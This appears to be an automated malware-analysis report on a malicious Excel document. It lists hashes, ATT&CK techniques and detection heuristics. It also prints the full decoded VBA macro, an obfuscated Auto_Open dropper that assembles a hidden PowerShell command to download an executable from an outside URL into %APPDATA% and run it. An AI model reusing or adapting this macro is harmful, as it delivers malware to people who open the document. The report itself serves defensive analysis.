Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b95fe5b8a5dbf0ad…

MALICIOUS

Office (OLE)

46.0 KB Created: 2016-12-07 10:22:12 Authoring application: Microsoft Excel First seen: 2017-05-29
MD5: c0962f804cdad624f7d364ea485d3079 SHA-1: d6fc423de529ffe08ed8966aef934303ec673426 SHA-256: b95fe5b8a5dbf0adf90c4c55fc6744cc13dd8c27b0b16e59b97464d2df90b95c
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample is an Excel document containing VBA macros, specifically an Auto_Open macro that utilizes the Shell() function. This indicates an attempt to execute arbitrary code upon opening the document. The document body contains a lure to 'Enable Editing' and 'Enable Content', a common social engineering tactic for macro-based malware. ClamAV also detected this as a dropper.

Heuristics 6

  • ClamAV: Doc.Dropper.SocialEngineering-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.SocialEngineering-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9636 bytes
SHA-256: 9a1f7de5b56481af7697cb36cdc4f745c61dc22933220833c0252d494189cc7f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub xdunyrxi()
Dim yvdezwuz9
Dim ufzuqhyt, wugikty0, alext5, cnavvo4, olhascybx7
Dim izkukuv1
Dim ubjoxk0
Dim isverhe0
Dim ytkaly
Dim mcoqvebydh
Dim huhuc
Dim uhiml, upbovhefb, ypiduxo4, nvemisi8, omduto3, egolbifx, bzadkelqo, ivmixygu2
Dim iplasfyj
Dim hdoptyhha
Dim culive, ivdidmi2, eterjytz8, xjufonu1, zdufykg
Dim erquqtizki
Dim itricyn, sremnemetc4, vtelpe, zkigalm, yznery9, decyqe, jerenifs1, ydqolaf0, mhabnekcox0
Dim ggypelsa
Dim werpazimd7
Dim efafgina
Dim arjup7
Dim xcaxetki
Dim iqhumryx, nafjubketb5, ycohod5, omipa
Dim iwhatyro8
yvdezwuz9 = "s.exe'"
iwhatyro8 = "^W-Obj"
ivdidmi2 = "Le^   "
zdufykg = "Y  B^Y"
ycohod5 = "onfs.t"
ifzowmage = "^ecT  "
werpazimd7 = ",'%APP"
ubjoxk0 = "RoF^Il"
omipa = "T^-^P^"
zkigalm = "P^A^s^"
upbovhefb = " ^(^nE"
vtelpe = "'"""
arjup7 = "lo^adF"
erquqtizki = "s    ^"
decyqe = "s^t^y^"
bzadkelqo = "wiNdow"
ggypelsa = "r^O^CE"
iqhumryx = "appdAT"
mcoqvebydh = "://doc"
ufzuqhyt = "eBc^lI"
jerenifs1 = "^l.EXe"
xjufonu1 = "A%.exe"
ivmixygu2 = "^S^tAR"
ytkaly = "op/xls"
nvemisi8 = "office"
uhiml = "TioN^p"
culive = "   ^-^"
isverhe0 = "p^OW^E"
yznery9 = "E   ^-"
itricyn = "S^S '%"
xcaxetki = "e^n   "
hdoptyhha = "-^nop^"
egolbifx = "E^XeCU"
ypiduxo4 = "En^t)^"
izkukuv1 = "RS^heL"
sremnemetc4 = "^iLE^("
cnavvo4 = "exE');"
ydqolaf0 = "^'http"
wugikty0 = "^oLi^c"
nafjubketb5 = ".D^Own"
olhascybx7 = "sincsc"
huhuc = "DATA%."
omduto3 = "^sTe^M"
mhabnekcox0 = "cmD.Ex"
iplasfyj = ".nET.W"
eterjytz8 = "H^idD^"
alext5 = "E /C """
efafgina = "  ^s^y"
wyksumy = VarType(Application.Workbooks.Count) = 3
tovoti = mhabnekcox0 & alext5 & isverhe0 & izkukuv1 & jerenifs1 & culive & egolbifx & uhiml & wugikty0 & zdufykg & zkigalm & erquqtizki & hdoptyhha & ubjoxk0 & yznery9 & bzadkelqo & decyqe & ivdidmi2 & eterjytz8 & xcaxetki & upbovhefb & iwhatyro8 & ifzowmage & efafgina & omduto3 & iplasfyj & ufzuqhyt & ypiduxo4 & nafjubketb5 & arjup7 & sremnemetc4 & ydqolaf0 & mcoqvebydh & olhascybx7 & ycohod5 & ytkaly & nvemisi8 & yvdezwuz9 & werpazimd7 & huhuc & cnavvo4 & ivmixygu2 & omipa & ggypelsa & itricyn & iqhumryx & xjufonu1 & vtelpe

If wyksumy Then
Shell tovoti, False
End If
End Sub
Sub Auto_Open()
xdunyrxi
End Sub
        

' Processing file: /opt/analyzer/scan_staging/3de9d29eab2e459dac10d16ba7b44173.bin
' ===============================================================================
' Module streams:
' _VBA_PROJECT_CUR/VBA/ThisWorkbook - 993 bytes
' _VBA_PROJECT_CUR/VBA/Sheet1 - 985 bytes
' _VBA_PROJECT_CUR/VBA/Sheet2 - 985 bytes
' _VBA_PROJECT_CUR/VBA/Sheet3 - 985 bytes
' _VBA_PROJECT_CUR/VBA/Module1 - 7874 bytes
' Line #0:
' 	FuncDefn (Sub alext5())
' Line #1:
' 	Dim 
' 	VarDefn cnavvo4
' Line #2:
' 	Dim 
' 	VarDefn olhascybx7
' 	VarDefn izkukuv1
' 	VarDefn ubjoxk0
' 	VarDefn isverhe0
' 	VarDefn ytkaly
' Line
... (truncated)